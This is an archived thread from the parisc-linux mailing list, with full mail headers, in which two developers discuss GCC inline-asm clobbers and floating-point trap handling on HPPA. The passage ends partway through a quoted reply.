List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 0wGrYqdAeSEkTL6WZHQhaXN1IGRvb8Cz
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22928

> What sort of dependancy on CCFP? Do you have an example somewhere?

No.

  If your assembler instruction can alter the condition code register, add
  @samp{cc} to the list of clobbered registers.  GCC on some machines
  represents the condition codes as a specific hardware register;
  @samp{cc} serves to name this register.  On other machines, the
  condition code is handled differently, and specifying @samp{cc} has no
  effect.  But it is valid no matter what the machine.

Thinking a little more, I believe specifying "r0" in the clobber list
of the asm will do the job.  Register 0 is used to hold condition codes
for both integer and floating point comparisons.  I don't think there's
a way to express that the register is only used.  There's no constraint
letter for r0, etc.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Non-inline math, and inline math broken,
	GCC to blame? (1 hppa tls toolchain regression).
Date: Sat, 16 Jul 2005 15:56:37 -0400 (EDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <200507161956.j6GJubTO010805@hiauly1.hia.nrc.ca>
References: <20050716194141.GI5314@systemhalted.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623852 15660 80.91.229.3 (22 Nov 2014 02:37:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:32 +0000 (UTC)
Cc: tausq@debian.org,
 parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Jul 2005 19:56:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx001) with SMTP; 16 Jul 2005 21:56:45 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 37E217D717;
	Sat, 16 Jul 2005 13:56:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25335-05; Sat, 16 Jul 2005 13:56:43 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 893B87D718;
	Sat, 16 Jul 2005 13:56:42 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4F39D7D714
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Jul 2005 13:56:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25290-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Jul 2005 13:56:39 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id B05D57D70F
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Jul 2005 13:56:39 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j6GJucnV010806; Sat, 16 Jul 2005 15:56:38 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j6GJubTO010805;
	Sat, 16 Jul 2005 15:56:37 -0400 (EDT)
In-Reply-To: <20050716194141.GI5314@systemhalted.org> from "Carlos O'Donell"
	at Jul 16, 2005 03:41:41 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: KQOrYrAgeSEkc76WZHQhaXN1IGRvb4Cm
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22929

> There is another potential bug, I should make sure the fr0 restore is
> always at the end too incase it rearms a trap.

hpux uses two little hand-coded functions to avoid this problem.  The
get operation uses fstd but it immediately restores the previous status
value with fldd.  The put does the restore in the delay slot of the return.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Non-inline math, and inline math broken,
	GCC to blame? (1 hppa tls toolchain regression).
Date: Sat, 16 Jul 2005 16:13:56 -0400
Lines: 38
Approved: news@gmane.org
Message-ID: <20050716201356.GJ5314@systemhalted.org>
References: <20050716191646.GH5314@systemhalted.org>
	<200507161948.j6GJmAvc010734@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623852 15664 80.91.229.3 (22 Nov 2014 02:37:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:32 +0000 (UTC)
Cc: tausq@debian.org,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Jul 2005 20:14:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx036) with SMTP; 16 Jul 2005 22:14:14 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 36ACD7D724;
	Sat, 16 Jul 2005 14:14:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25680-01; Sat, 16 Jul 2005 14:14:10 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F26397D71A;
	Sat, 16 Jul 2005 14:14:09 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A88287D712
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Jul 2005 14:14:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25290-08 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Jul 2005 14:14:05 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 250157D70E
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Jul 2005 14:14:05 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1Dtt2r-0003Jm-00; Sat, 16 Jul 2005 16:13:57 -0400
Content-Disposition: inline
In-Reply-To: <200507161948.j6GJmAvc010734@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (26% Sync Ratio [===.......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: wA+rYmdqeSEkVr6WZHQhaXN1IGRvb8CE
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22930

On Sat, Jul 16, 2005 at 03:48:10PM -0400, John David Anglin wrote:
> > What sort of dependancy on CCFP? Do you have an example somewhere?
> 
> No.
> 
>   If your assembler instruction can alter the condition code register, add
>   @samp{cc} to the list of clobbered registers.  GCC on some machines
>   represents the condition codes as a specific hardware register;
>   @samp{cc} serves to name this register.  On other machines, the
>   condition code is handled differently, and specifying @samp{cc} has no
>   effect.  But it is valid no matter what the machine.
> 
> Thinking a little more, I believe specifying "r0" in the clobber list
> of the asm will do the job.  Register 0 is used to hold condition codes
> for both integer and floating point comparisons.  I don't think there's
> a way to express that the register is only used.  There's no constraint
> letter for r0, etc.

Will this ever happen during inlining?

fstd chain -> memory
operation 1
			fstd chain -> memory
fldd chain -> regs
			operation 2
			fldd chain -> regs

Operation 2 could trap when expected that it couldn't because the fstd
had cleared the traps.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Non-inline math, and inline math broken,
	GCC to blame? (1 hppa tls toolchain regression).
Date: Sat, 16 Jul 2005 16:29:54 -0400 (EDT)
Lines: 24
Approved: news@gmane.org
Message-ID: <200507162029.j6GKTsGE011108@hiauly1.hia.nrc.ca>
References: <20050716201356.GJ5314@systemhalted.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623852 15671 80.91.229.3 (22 Nov 2014 02:37:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:32 +0000 (UTC)
Cc: tausq@debian.org,
 parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Jul 2005 20:30:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx037) with SMTP; 16 Jul 2005 22:30:06 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0E9EB7D71E;
	Sat, 16 Jul 2005 14:30:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25659-08; Sat, 16 Jul 2005 14:30:03 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 68D087D722;
	Sat, 16 Jul 2005 14:30:03 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3007F7D71C
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Jul 2005 14:29:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25680-03 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Jul 2005 14:29:56 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 91A717D71A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Jul 2005 14:29:56 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j6GKTsnV011109; Sat, 16 Jul 2005 16:29:55 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j6GKTsGE011108;
	Sat, 16 Jul 2005 16:29:54 -0400 (EDT)
In-Reply-To: <20050716201356.GJ5314@systemhalted.org> from "Carlos O'Donell"
	at Jul 16, 2005 04:13:56 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: GAurYsEKeSEkV76WZHQhaXN1IGRvb8Bc
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22931

> Will this ever happen during inlining?
> 
> fstd chain -> memory
> operation 1
> 			fstd chain -> memory
> fldd chain -> regs
> 			operation 2
> 			fldd chain -> regs
> 
> Operation 2 could trap when expected that it couldn't because the fstd
> had cleared the traps.

I guess clobbering all the fp registers plus r0 will stop this.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Non-inline math, and inline math broken,
	GCC to blame? (1 hppa tls toolchain regression).
Date: Sat, 16 Jul 2005 17:18:35 -0400
Lines: 29
Approved: news@gmane.org
Message-ID: <20050716211835.GK5314@systemhalted.org>
References: <20050716201356.GJ5314@systemhalted.org>
	<200507162029.j6GKTsGE011108@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623852 15674 80.91.229.3 (22 Nov 2014 02:37:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:32 +0000 (UTC)
Cc: tausq@debian.org,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Jul 2005 21:18:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx002) with SMTP; 16 Jul 2005 23:18:50 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7D13D7D72B;
	Sat, 16 Jul 2005 15:18:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26026-04; Sat, 16 Jul 2005 15:18:47 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A60617D707;
	Sat, 16 Jul 2005 15:18:46 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E87BC7D6E0
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Jul 2005 15:18:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26026-01 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Jul 2005 15:18:43 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 639C07D6D5
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Jul 2005 15:18:43 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1Dtu3P-0003jv-00; Sat, 16 Jul 2005 17:18:35 -0400
Content-Disposition: inline
In-Reply-To: <200507162029.j6GKTsGE011108@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (26% Sync Ratio [===.......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 7RyrYsUGeSEkcL6WZHQhaXN1IGRvb0At
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22932

On Sat, Jul 16, 2005 at 04:29:54PM -0400, John David Anglin wrote:
> > Will this ever happen during inlining?
> > 
> > fstd chain -> memory
> > operation 1
> > 			fstd chain -> memory
> > fldd chain -> regs
> > 			operation 2
> > 			fldd chain -> regs
> > 
> > Operation 2 could trap when expected that it couldn't because the fstd
> > had cleared the traps.
> 
> I guess clobbering all the fp registers plus r0 will stop this.

That seems like overkill, I just don't want gcc schedule between the asm
statements. The fstd chain, and fldd chain are always asm statements.

Is there no other way? Clobbering will add huge register pressure and
force gcc to spill all the fpregs and restore after the call.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Non-inline math, and inline math broken,
	GCC to blame? (1 hppa tls toolchain regression).
Date: Sat, 16 Jul 2005 18:55:50 -0400 (EDT)
Lines: 56
Approved: news@gmane.org
Message-ID: <200507162255.j6GMtoDS011648@hiauly1.hia.nrc.ca>
References: <20050716211835.GK5314@systemhalted.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623853 15678 80.91.229.3 (22 Nov 2014 02:37:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:33 +0000 (UTC)
Cc: tausq@debian.org,
 parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Jul 2005 22:56:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx058) with SMTP; 17 Jul 2005 00:56:02 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D7FDB7D732;
	Sat, 16 Jul 2005 16:55:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26738-01; Sat, 16 Jul 2005 16:55:57 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 596E17D72A;
	Sat, 16 Jul 2005 16:55:56 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9E2D77D725
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Jul 2005 16:55:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26380-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Jul 2005 16:55:53 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 0BD067D722
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Jul 2005 16:55:52 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j6GMtpnV011650; Sat, 16 Jul 2005 18:55:51 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j6GMtoDS011648;
	Sat, 16 Jul 2005 18:55:50 -0400 (EDT)
In-Reply-To: <20050716211835.GK5314@systemhalted.org> from "Carlos O'Donell"
	at Jul 16, 2005 05:18:35 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 1PWrYpQseSEkSL6WZHQhaXN1IGRvb0Co
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22933

> > I guess clobbering all the fp registers plus r0 will stop this.
> 
> That seems like overkill, I just don't want gcc schedule between the asm
> statements. The fstd chain, and fldd chain are always asm statements.
> 
> Is there no other way? Clobbering will add huge register pressure and
